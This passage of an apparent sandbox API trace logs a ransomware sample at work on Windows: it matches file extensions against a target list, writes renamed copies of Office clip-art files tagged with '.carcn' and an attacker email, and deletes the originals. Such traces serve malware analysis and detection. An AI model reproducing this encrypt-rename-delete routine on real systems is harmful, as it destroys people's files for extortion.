lpString2=".GIF") returned -1 [0293.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.243] lstrlenW (lpString=".jpg") returned 4 [0293.243] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.243] lstrlenW (lpString=".doc") returned 4 [0293.243] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.243] lstrlenW (lpString=".docx") returned 5 [0293.243] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.243] lstrlenW (lpString=".pdf") returned 4 [0293.243] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.243] lstrlenW (lpString=".xls") returned 4 [0293.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.244] lstrlenW (lpString=".xlsx") returned 5 [0293.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.244] lstrlenW (lpString=".ppt") returned 4 [0293.244] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.244] lstrlenW (lpString=".zip") returned 4 [0293.244] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.244] lstrlenW (lpString=".rar") returned 4 [0293.244] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.244] lstrlenW (lpString=".bz2") returned 4 [0293.244] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.244] lstrlenW (lpString=".7z") returned 3 [0293.244] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.244] lstrlenW (lpString=".dbf") returned 4 [0293.244] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.244] lstrlenW (lpString=".1cd") returned 4 [0293.244] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0293.244] lstrlenW (lpString=".jpg") returned 4 [0293.244] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.278] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0293.278] lstrlenW (lpString="AG00176_.GIF") returned 12 [0293.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0293.279] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3120) returned 1 [0293.279] CloseHandle (hObject=0x378) returned 1 [0293.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0293.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.324] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.324] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0293.398] GetLastError () returned 0x0 [0293.398] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xc30, lpOverlapped=0x0) returned 1 [0293.399] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xc40, lpOverlapped=0x0) returned 1 [0293.401] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.401] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.402] SetEndOfFile (hFile=0x360) returned 1 [0293.402] CloseHandle (hObject=0x360) returned 1 [0293.402] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.402] SetEndOfFile (hFile=0x36c) returned 1 [0293.403] CloseHandle (hObject=0x36c) returned 1 [0293.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0293.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.404] lstrlenW (lpString=".doc") returned 4 [0293.404] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.404] lstrlenW (lpString=".docx") returned 5 [0293.404] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.404] lstrlenW (lpString=".pdf") returned 4 [0293.404] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.404] lstrlenW (lpString=".xls") returned 4 [0293.404] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.404] lstrlenW (lpString=".xlsx") returned 5 [0293.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.404] lstrlenW (lpString=".ppt") returned 4 [0293.404] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.404] lstrlenW (lpString=".zip") returned 4 [0293.405] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.405] lstrlenW (lpString=".rar") returned 4 [0293.405] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.405] lstrlenW (lpString=".bz2") returned 4 [0293.405] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.405] lstrlenW (lpString=".7z") returned 3 [0293.405] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.405] lstrlenW (lpString=".dbf") returned 4 [0293.405] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.405] lstrlenW (lpString=".1cd") returned 4 [0293.405] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.405] lstrlenW (lpString=".jpg") returned 4 [0293.405] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.405] lstrlenW (lpString=".doc") returned 4 [0293.405] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.405] lstrlenW (lpString=".docx") returned 5 [0293.405] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.405] lstrlenW (lpString=".pdf") returned 4 [0293.405] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.405] lstrlenW (lpString=".xls") returned 4 [0293.405] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.406] lstrlenW (lpString=".xlsx") returned 5 [0293.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.406] lstrlenW (lpString=".ppt") returned 4 [0293.406] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.406] lstrlenW (lpString=".zip") returned 4 [0293.406] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.406] lstrlenW (lpString=".rar") returned 4 [0293.406] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.406] lstrlenW (lpString=".bz2") returned 4 [0293.406] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.406] lstrlenW (lpString=".7z") returned 3 [0293.406] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.406] lstrlenW (lpString=".dbf") returned 4 [0293.406] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.406] lstrlenW (lpString=".1cd") returned 4 [0293.406] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0293.406] lstrlenW (lpString=".jpg") returned 4 [0293.406] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.406] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.407] lstrlenW (lpString="AN01039_.WMF") returned 12 [0293.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.407] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3344) returned 1 [0293.407] CloseHandle (hObject=0x36c) returned 1 [0293.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0293.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.408] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.408] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0293.408] GetLastError () returned 0x0 [0293.408] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xd10, lpOverlapped=0x0) returned 1 [0293.409] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xd20, lpOverlapped=0x0) returned 1 [0293.410] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.410] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.410] SetEndOfFile (hFile=0x360) returned 1 [0293.410] CloseHandle (hObject=0x360) returned 1 [0293.411] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.411] SetEndOfFile (hFile=0x36c) returned 1 [0293.411] CloseHandle (hObject=0x36c) returned 1 [0293.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0293.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.412] lstrlenW (lpString=".doc") returned 4 [0293.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.412] lstrlenW (lpString=".docx") returned 5 [0293.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.412] lstrlenW (lpString=".pdf") returned 4 [0293.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.412] lstrlenW (lpString=".xls") returned 4 [0293.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.412] lstrlenW (lpString=".xlsx") returned 5 [0293.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.412] lstrlenW (lpString=".ppt") returned 4 [0293.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.412] lstrlenW (lpString=".zip") returned 4 [0293.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.413] lstrlenW (lpString=".rar") returned 4 [0293.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString=".bz2") returned 4 [0293.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString=".7z") returned 3 [0293.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.413] lstrlenW (lpString=".dbf") returned 4 [0293.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.413] lstrlenW (lpString=".1cd") returned 4 [0293.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.413] lstrlenW (lpString=".jpg") returned 4 [0293.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.413] lstrlenW (lpString=".doc") returned 4 [0293.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString=".docx") returned 5 [0293.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.413] lstrlenW (lpString=".pdf") returned 4 [0293.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString=".xls") returned 4 [0293.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.413] lstrlenW (lpString=".xlsx") returned 5 [0293.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.413] lstrlenW (lpString=".ppt") returned 4 [0293.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.413] lstrlenW (lpString=".zip") returned 4 [0293.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.413] lstrlenW (lpString=".rar") returned 4 [0293.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.414] lstrlenW (lpString=".bz2") returned 4 [0293.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.414] lstrlenW (lpString=".7z") returned 3 [0293.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.414] lstrlenW (lpString=".dbf") returned 4 [0293.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.414] lstrlenW (lpString=".1cd") returned 4 [0293.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0293.414] lstrlenW (lpString=".jpg") returned 4 [0293.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.414] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.414] lstrlenW (lpString="AN01044_.WMF") returned 12 [0293.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.414] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1596) returned 1 [0293.414] CloseHandle (hObject=0x36c) returned 1 [0293.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0293.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0293.415] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.415] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0293.415] GetLastError () returned 0x0 [0293.416] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x63c, lpOverlapped=0x0) returned 1 [0293.417] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x640, lpOverlapped=0x0) returned 1 [0293.418] ReadFile (in: hFile=0x36c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.418] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.418] SetEndOfFile (hFile=0x360) returned 1 [0293.418] CloseHandle (hObject=0x360) returned 1 [0293.418] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.418] SetEndOfFile (hFile=0x36c) returned 1 [0293.419] CloseHandle (hObject=0x36c) returned 1 [0293.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0293.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.420] lstrlenW (lpString=".doc") returned 4 [0293.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.420] lstrlenW (lpString=".docx") returned 5 [0293.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.420] lstrlenW (lpString=".pdf") returned 4 [0293.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.420] lstrlenW (lpString=".xls") returned 4 [0293.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.420] lstrlenW (lpString=".xlsx") returned 5 [0293.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.420] lstrlenW (lpString=".ppt") returned 4 [0293.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.420] lstrlenW (lpString=".zip") returned 4 [0293.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.420] lstrlenW (lpString=".rar") returned 4 [0293.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.420] lstrlenW (lpString=".bz2") returned 4 [0293.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.420] lstrlenW (lpString=".7z") returned 3 [0293.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.420] lstrlenW (lpString=".dbf") returned 4 [0293.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.421] lstrlenW (lpString=".1cd") returned 4 [0293.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.421] lstrlenW (lpString=".jpg") returned 4 [0293.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0293.421] lstrlenW (lpString="C:\\Program Files\\Microsoft 